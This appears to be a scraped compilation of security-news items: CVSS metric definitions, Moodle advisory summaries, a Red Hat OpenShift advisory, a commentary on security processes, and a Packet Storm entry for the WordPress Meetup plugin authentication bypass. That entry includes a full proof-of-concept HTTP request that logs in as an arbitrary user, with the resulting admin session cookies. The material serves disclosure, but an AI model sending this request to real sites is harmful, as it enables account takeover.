A flaw was found in pdfTeX. Insufficient sanitizing in the TeX notation filter resulted in an arbitrary file read risk on sites where pdfTeX is available, such as those with TeX Live installed.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-vjmm-r9gg-425m: Moodle has arbitrary file read risk through pdfTeX

A flaw was found in Moodle. Additional restrictions are required to avoid a remote code execution risk in calculated question types. Note: This requires the capability to add/update questions.

GHSA-v6f4-v8h8-3c87: Moodle Remote Code Execution vulnerability

A flaw was found in Feedback. Bulk messaging in the activity's non-respondents report did not verify message recipients belonging to the set of users returned by the report.

GHSA-p9cx-f595-h79h: Moodle's IDOR in Feedback non-respondents report allows messaging arbitrary site users

The bulk message sending feature in Moodle's Feedback module's non-respondents report had an incorrect CSRF token check, leading to a CSRF vulnerability.

GHSA-x87r-37q5-mmr8: Moodle has CSRF risk in Feedback non-respondents report

A vulnerability was found in Moodle. Insufficient capability checks made it possible to delete badges that a user does not have permission to access.

GHSA-wwjf-gwrv-wh45: Moodle's IDOR in badges allows deletion of arbitrary badges

A SQL injection risk flaw was found in the XMLDB editor tool available to site administrators.

GHSA-mx26-62xm-2p83: Moodle vulnerable to site administration SQL injection via XMLDB editor

A flaw was found in moodle. A local file may include risks when restoring block backups.

GHSA-qrqv-26gf-xgwh: Moodle LFI vulnerability when restoring malformed block backups

WordPress Meetup plugin versions 0.1 and below suffer from an authentication bypass vulnerability.

    # CVE-2024-50483Meetup <= 0.1 - Authentication Bypass via Account Takeover# Description:The Meetup plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 0.1. This is due to the plugin not properly verifying a user's identity prior to authenticating them via the facebook_register() function. This makes it possible for unauthenticated attackers to log in as any user, granted they know their email address.```CVE: CVE-2024-50483CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS Score: 9.8Slugs: meetup```Note: You need to know the users email address you want to login as.POC---```POST /wp-admin/admin-ajax.php HTTP/1.1Host: kubernetes.docker.internalContent-Type: application/x-www-form-urlencodedContent-Length: 149action=meetup_fb_register&email=admin@admin.com&first_name=Test&last_name=User&id=12345678901234567890&type=token&link=https://example.com/user/test/```Response--```HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 21:37:23 GMTServer: Apache/2.4.57 (Debian)X-Powered-By: PHP/8.2.13X-Robots-Tag: noindexX-Content-Type-Options: nosniffExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Referrer-Policy: strict-origin-when-cross-originX-Frame-Options: SAMEORIGINSet-Cookie: wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cb30fbbd9ddce680d1b3992fc121335abfede4d30ed0ddfea33cab3c7a9c800dd; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/wp-content/plugins; HttpOnlySet-Cookie: wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cb30fbbd9ddce680d1b3992fc121335abfede4d30ed0ddfea33cab3c7a9c800dd; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/wp-admin; HttpOnlySet-Cookie: wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1732052243%7Cip8EqMGbc9Iect9L7RPRWfDKjucVdkdSKINkRz5VxrM%7Cecd2fbdf078b2f2b3735b5e423cfae0efa73526e26e17f3cd192896597c7b650; expires=Wed, 20 Nov 2024 09:37:23 GMT; Max-Age=1252800; path=/; HttpOnlyContent-Length: 0Content-Type: text/html; charset=UTF-8```

WordPress Meetup 0.1 Authentication Bypass

Red Hat Security Advisory 2024-8694-03 - Red Hat OpenShift Container Platform release 4.12.68 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include denial of service and traversal vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8694.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: OpenShift Container Platform 4.12.68 security update  
Advisory ID:        RHSA-2024:8694-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:8694  
Issue date:         2024-11-07  
Revision:           03  
CVE Names:          CVE-2024-9341  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.12.68 is now available with updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container Platform 4.12.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.12.68. See the following advisory for the container images for this release:

https://access.redhat.com/errata/RHSA-2024:8692

Security Fix(es):

* encoding/gob: golang: Calling Decoder.Decode on a message which contains  
deeply nested structures can cause a panic due to stack exhaustion  
(CVE-2024-34156)  
* openstack-ironic: Specially crafted image may allow authenticated users  
to gain access to potentially sensitive data (CVE-2024-44082)  
* Podman: Buildah: cri-o: FIPS Crypto-Policy Directory Mounting Issue in  
containers/common Go Library (CVE-2024-9341)  
* Podman: Buildah: CRI-O: symlink traversal vulnerability in the  
containers/storage library can cause Denial of Service (DoS)  
(CVE-2024-9676)  
* go/parser: golang: Calling any of the Parse functions containing deeply  
nested literals can cause a panic/stack exhaustion (CVE-2024-34155)  
* go/build/constraint: golang: Calling Parse on a \"// +build\" build tag  
line with deeply nested expressions can cause a panic due to stack  
exhaustion (CVE-2024-34158)

All OpenShift Container Platform 4.12 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.12/updating/updating-cluster-cli.html

Solution:

https://docs.openshift.com/container-platform/4.12/release_notes/ocp-4-12-release-notes.html

CVEs:

CVE-2024-9341

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2309331  
https://bugzilla.redhat.com/show_bug.cgi?id=2310527  
https://bugzilla.redhat.com/show_bug.cgi?id=2310528  
https://bugzilla.redhat.com/show_bug.cgi?id=2310529  
https://bugzilla.redhat.com/show_bug.cgi?id=2315691  
https://bugzilla.redhat.com/show_bug.cgi?id=2317467

Red Hat Security Advisory 2024-8694-03

Establishing realistic, practitioner-driven processes prevents employee burnout, standardizes experiences, and closes many of the gaps exposed by repeated one-offs.

Ian Campbell, Senior Security Operations Engineer, DomainTools

November 7, 2024

5 Min Read

Source: Andreas Prott via Alamy Stock Photo

COMMENTARY

The quality of information security guidance has increased in recent years — especially regarding the focus on fundamentals — but our industry often fails to emphasize establishing those fundamentals as replicable processes. 

Fundamentals, policies, training, tabletop exercises, and technology are resources that are limited in their respective usefulness — each is a finite and frequently subjective piece of a puzzle. In an industry epitomized by the executive phrase "Learn to do more with less," achieving consistent end goals requires recognizable, replicable, and flexible processes from start to finish.  

In order to adopt a common lexicon, let us define "process" as instituting, training on, evaluating, and rehabilitating a series of practitioner-defined expected actions a person may take in response to a stimulus. Examples of stimuli include a 911 call, endpoint detection, or an onboarding ticket from HR. Importantly, the process provides a framework for activity, is replicable, generalizable, and is driven by the practitioner's physical, mental, and digital capabilities. 

Psychology professor and human error expert James T. Reason first formally proposed the "Swiss Cheese Model" of causation in 1990. His model theorizes that the breakdown of complex systems often involves weaknesses across multiple defenses (slices) aligning across a moment of opportunity that results in the breakdown. Writer and technologist Cory Doctorow recently illustrated an excellent example of this in the alignment that results in a successful financial scam. In the context of security, the Swiss Cheese Model tells us that one cannot reliably anticipate how and when the weaknesses in your systems will line up to present an attacker opportunity without maintaining focus from the start on integrating replicable, dependable processes into your workflows. 

As a nascent technologist working technical support in Congress, my daily commute into Washington, DC, often centered around podcast listening. One favorite was the defense-themed podcast Bombshell, often repeating mid-episode the tagline "Process is my Valentine," analogizing the criticality of process to something as important and unpredictable as national security. The phrase resonated with me not only due to autism (after all, we love our self-imposed routines) but also because of my decade of experience in emergency services response prior to my career in tech.  

As a 911 dispatcher responsible for responding to thousands of people myself, the process became necessary. I had to work out: 

*   Order of actions: What needs to happen and when? 
    

*   Kinetics of actions: Does the order line up with the environment? Are the suitable radios and keyboards in the right places? Are the right tools within reach and in the right direction? 
    

*   Laterality of actions: What can I parallelize, moving from initiating one to the next, that will then develop alongside each other with minimal direct interaction and minimal viable attention diverted? 
    

*   Assessment: What can I measure? How can I evaluate the systems that interact here? How well did they adopt the process or warp it into a one-off? What needs improving? 
    

Figuring this out was the only way to move forward in an unpredictable environment with countless important elements demanding simultaneous attention. Tech security, like dispatch work, requires one to master the process. Hurtling into the Capitol from suburban Virginia to pound the marble amidst a never-ending ticket queue, and later helping to stand up a robust and thriving security program from scratch in private employment, process became my valentine once again.  

**The Policy Is Prescriptive, the Process Is Kinetic**

Consider it a stimulus response through muscle memory. The process directly considers the physiology, neurology, biases, and capabilities of the practitioner it seeks to guide. It can't be a product of the back office. Process is necessarily practitioner-centric; sit in their chair, see it with their eyes, run it with their tools, and most of all, challenge the process with practitioner's fatigue. Can someone on their 13th hour of a double shift carry it out effectively?  

Although forming process is also interactive and not necessarily consensus-based, it is at least consensus informed. It requires stakeholder input and buy-in from both the immediate team and from those who touch the scenario around it.   

Once the first iteration of the process is constructed, document it in a way that emphasizes revision. Build the living nature of it into the documentation, including after-action assessment around specific and measurable elements. Do not discount the subjective, as it invariably affects how any situation plays out. How your practitioners encounter the process determines how successfully the process survives reality.  

Then revise, take a breath, and start all over.  

Establishing a realistic, practitioner-driven process wherever possible is critical for running a successful security program. It prevents employee burnout, standardizes experiences, and closes many of the gaps exposed by repeated one-offs. By centering practitioners, evaluating environments, and instituting flexible frameworks alongside attention to fundamentals and proactive communications schemas, we can all move toward a more secure posture. Let's make it harder for the bad actors out there. 

**About the Author**

Senior Security Operations Engineer, DomainTools

Ian Campbell is a senior security operations engineer with DomainTools, with previous experience in the US House of Representatives and Silicon Valley. Before working in technology, he spent a decade in emergency services, a period that continues to inform his evolving perspective on security.

Tag

#auth